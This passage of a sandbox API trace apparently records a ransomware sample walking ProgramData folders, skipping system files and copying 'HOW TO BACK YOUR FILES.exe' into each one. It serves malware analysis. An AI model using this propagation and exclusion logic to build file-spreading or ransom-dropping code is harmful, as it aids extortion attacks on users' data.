nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.323] CloseHandle (hObject=0xf4) returned 1 [0048.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.323] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.323] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.323] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.323] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.323] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.323] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.323] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.323] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.323] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.323] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.323] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0048.323] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.323] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.323] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0048.324] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0048.324] lstrlenW (lpString="Adobe") returned 5 [0048.324] lstrcpyW (in: lpString1=0x241e888, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0048.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da90 [0048.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x515f50 [0048.324] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0048.324] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0048.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.324] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0048.324] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.324] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0048.325] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0048.325] lstrlenW (lpString="Application Data") returned 16 [0048.325] lstrcpyW (in: lpString1=0x241e888, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0048.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a40 [0048.325] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e740 [0048.325] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0048.325] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0048.325] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.325] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0048.325] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.325] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.325] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0048.326] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0048.326] lstrlenW (lpString="Desktop") returned 7 [0048.326] lstrcpyW (in: lpString1=0x241e888, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0048.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a58 [0048.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515e48 [0048.326] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0048.326] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0048.326] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.326] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0048.327] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0048.327] lstrlenW (lpString="Documents") returned 9 [0048.327] lstrcpyW (in: lpString1=0x241e888, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0048.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a70 [0048.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x5284d0 [0048.327] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0048.327] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0048.327] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.328] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0048.328] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0048.328] lstrlenW (lpString="Favorites") returned 9 [0048.328] lstrcpyW (in: lpString1=0x241e888, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0048.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a88 [0048.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528470 [0048.328] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0048.328] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0048.328] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.329] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.329] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.329] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0048.329] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0048.329] lstrlenW (lpString="Microsoft") returned 9 [0048.329] lstrcpyW (in: lpString1=0x241e888, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0048.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530aa0 [0048.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fa40 [0048.329] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0048.329] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0048.329] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.330] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0048.330] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0048.330] lstrlenW (lpString="Microsoft Help") returned 14 [0048.330] lstrcpyW (in: lpString1=0x241e888, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0048.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ab8 [0048.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x523fb8 [0048.330] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0048.330] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0048.330] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.331] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0048.331] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0048.331] lstrlenW (lpString="Mozilla") returned 7 [0048.331] lstrcpyW (in: lpString1=0x241e888, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0048.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ad0 [0048.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515df0 [0048.331] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0048.331] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0048.331] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.332] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1 [0048.332] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1 [0048.332] lstrlenW (lpString="Oracle") returned 6 [0048.332] lstrcpyW (in: lpString1=0x241e888, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0048.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ae8 [0048.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x5162c0 [0048.332] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0048.332] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0048.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.333] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1 [0048.333] 